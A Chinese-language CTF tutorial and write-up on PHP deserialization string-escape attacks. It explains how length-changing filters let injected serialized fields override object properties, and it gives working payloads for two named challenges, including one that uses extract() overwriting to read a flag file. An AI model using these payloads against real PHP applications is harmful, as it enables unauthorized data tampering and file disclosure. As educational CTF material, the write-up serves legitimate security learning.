最近遇到了几题反序列化字符串逃逸的题目,所以总结一下此类题目的特点以及构造的逻辑。
非常规序列化字符串处理
首先看一个正常的反序列化例子
<?php
$human["name"] = "kit";
$human["sex"] = "male";
$seri_str = serialize($human);
echo $seri_str."<br>";
// a:2:{s:4:"name";s:3:"kit";s:3:"sex";s:4:"male";}
从序列化字符串的格式来看每种类型都会对应有一个数字来指明值的长度,并且整个字符串以}
结尾。
- 如果在结尾后添加无关字符
$test_str = 'a:2:{s:4:"name";s:3:"kit";s:3:"sex";s:4:"male";}ttttt';
$obj = unserialize($test_str);
var_dump($obj);
// array(2) { ["name"]=> string(3) "kit" ["sex"]=> string(4) "male" }
可以看出并不会影响反序列化过程,额外的字符会被自动舍弃
- 如果指明的长度与真实的长度不符合
$test_str = 'a:2:{s:4:"name";s:3:"kit";s:3:"sex";s:2:"male";}ttttt';
$obj = unserialize($test_str);
var_dump($obj);
// bool(false)
$test_str = 'a:2:{s:4:"name";s:3:"kit";s:3:"sex";s:8:"male";}ttttt';
$obj = unserialize($test_str);
var_dump($obj);
// bool(false)
无论的是比正常的长度长还是短都会提示序列化错误
- 序列化中存在没有声明的元素
class user{
public $name = 'kit';
public $sex = 'male';
public $age = 18;
}
$str = 'O:4:"user":2:{s:4:"name";s:3:"kit";s:3:"sex";s:4:"male";}';
var_dump(unserialize($str));
// 序列化字符串中没有声明年龄 而反序列化后自动将年龄赋值为18
// object(user)#1 (3) { ["name"]=> string(3) "kit" ["sex"]=> string(4) "male" ["age"]=> int(18) }
class user{
public $name = 'kit';
public $sex = 'male';
}
$str = 'O:4:"user":3:{s:4:"name";s:3:"kit";s:3:"sex";s:4:"male";s:3:"age";i:18;}';
var_dump(unserialize($str));
// 类中未声明age属性 而反序列化会自动加上这个属性
// object(user)#1 (3) { ["name"]=> string(3) "kit" ["sex"]=> string(4) "male" ["age"]=> int(18
反序列化字符逃逸
而反序列化逃逸正是利用了上面的第一和第二个特性,反序列化机制严格依靠长度来读取后面的值并赋值给生成的对象且多余的字符会被自动抛弃不影响反序列化过程。
下面就利用字符逃逸来实现可控字段只有姓名的情况下,修改sex从male到female。
$test_str = 'a:2:{s:4:"name";s:3:"kit";s:3:"sex";s:4:"male";}';
$obj = unserialize($test_str);
echo $obj['name']."<br>";
echo $obj['sex']."<br>";
// kit
// male
$payload = 's:6:"female";}';
$test_str = 'a:2:{s:4:"name";s:3:"kit";s:3:"sex";'.$payload.'s:4:"male";}';
$obj = unserialize($test_str);
echo $obj['name']."<br>";
echo $obj['sex']."<br>";
// kit
// female
从上面的例子看出我们需要把payload给插入到反序列化字段中就可以成功改变性别
而逃逸的本质是闭合,我们需要"
闭合姓名的字符串并且构造新的性别属性以及}
来闭合整个序列化字符串。
所以得到payload为
";s:3:"sex";s:6:"female";}
// payload长度为26
如果我们直接把姓名加上上述payload会产生什么样的情况呢
$human['name'] = 'kit";s:3:"sex";s:6:"female";}';
$human['sex'] = "male";
$test_str = serialize($human);
echo $test_str."<br>";
// a:2:{s:4:"name";s:29:"kit";s:3:"sex";s:6:"female";}";s:3:"sex";s:4:"male";}
$obj = unserialize($test_str);
echo $obj['name']."<br>";
echo $obj['sex']."<br>";
// kit";s:3:"sex";s:6:"female";}
// male
可以看到并没有产生预期截断,整个payload与kit一起并认为是名字。这就是因为前面指定了姓名的这个字符串的长度为29。
而因为反序列化产生的一系列安全问题,在服务端经常会对序列化字符串进行一些黑白名单,替换或者过滤操作,而正是由于这些操作可能会修改原有序列化字符串的长度,导致了字符溢出的问题。
下面我添加一个过滤器,过滤器如果识别到'
符号就会替换为no。
function filter($str){
return preg_replace("/\'/","no",$str);
}
$fin_str = 'a:2:{s:4:"name";s:55:"kit\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'";s:3:"sex";s:6:"female";}";s:3:"sex";s:4:"male";}';
$obj = unserialize($fin_str);
echo $obj['name']."<br>";
echo $obj['sex']."<br>";
// kit''''''''''''''''''''''''''";s:3:"sex";s:6:"female";}
// male
$fin_str = filter($fin_str);
echo $fin_str."<br>";
// a:2:{s:4:"name";s:55:"kitnononononononononononononononononononononononononono";s:3:"sex";s:6:"female";}";s:3:"sex";s:4:"male";}
$obj = unserialize($fin_str);
echo $obj['name']."<br>";
echo $obj['sex']."<br>";
// kitnononononononononononononononononononononononononono
// female
可以看到这次传入字符成功溢出然后修改了属性为female
过滤器前后的序列化字段对比可以很清楚的看出来,传入的name字段长度为55,而橙色方框内payload";s:3:"sex";s:6:"female";}
长度为26,而'
的长度也为26,通过过滤器后所有的单引号变为了no
长度增加了一倍,此时kit+no
的长度为55刚好完全覆盖姓名的长度。所以payload在解析时不再被认为是姓名字符串,产生了截断。最后的sex属性以及属性值则当做多余字符被抛弃。
所以这种字符溢出构造完全基于上述的两种特性,造成解析的错误而构成对象。
CTF题目
字符增加溢出
UNCTF2020–easyunserialize
<?php
error_reporting(0);
highlight_file(__FILE__);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('challenge','easychallenge',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
题目源码非常简单,获得flag的要求就是触发_wakeup函数时password等于easy。而password在序列化前被赋值为1,uname是我们可控的数据。
过滤器同样是增加字符长度的过滤器,所以就可以靠反序列化过程中字符溢出来修改password的值。
challenge
– easychallenge
增加了四个字符长度。
先获得正常情况下的序列化字符串
O:1:"a":2:{s:5:"uname";s:3:"kit";s:8:"password";i:1;}
截断payload
长度 29
";s:8:"password";s:4:"easy";}
每次替换增加4个字符,采用8个challenges
会增加32个字符用来溢出,而payload的长度为29,所以最后还要添加三个}}}
否则反序列化是失败。
最后的payload
challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}}}}
字符减少溢出
安洵杯 2019–easy_serialize_php
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
根据最后一个函数,先执行phpinfo看下
找到了自动包含的文件d0g3_f1ag.php
extract函数的作用为变量覆盖,会提取传入的数组中的key和value去覆盖当前key的value
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'test';
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);
因为img_path
赋值在extract之后所以我们无法覆盖,通过extract创建新值再利用filter
去减少key的长度来达到解析key时会把后面的value也算进去,从而构建一个新的img_path。
1.flagflag被过滤器删除,导致flagflag对应值的部分被当做键名,后面增加s:1:“1”;当做新的值。再接上img去构造一个新的键值对。
payload:
_SESSION[flagflag]=";s:1:"1";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
payload可以看成两部分,";s:49:"
为补充的value值,;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";
为新建的键值对。
序列化字段经过filter后
a:2:{s:8:"";s:49:"";s:1:"1";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
";s:49:"
被当做键名。完成字符逃逸。
修改目标文件最后拿到flag。
最后给出另外一种逃逸方法,思想与上面所描述的相同,利用值溢出去覆盖键,刚刚的方法是利用键溢出去覆盖值。
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
同样来看下序列化以后的字段
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
";s:8:"function";s:59:"a
被当做user的值,而原本function的值中s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";
构成了一组新的键值对完成覆盖。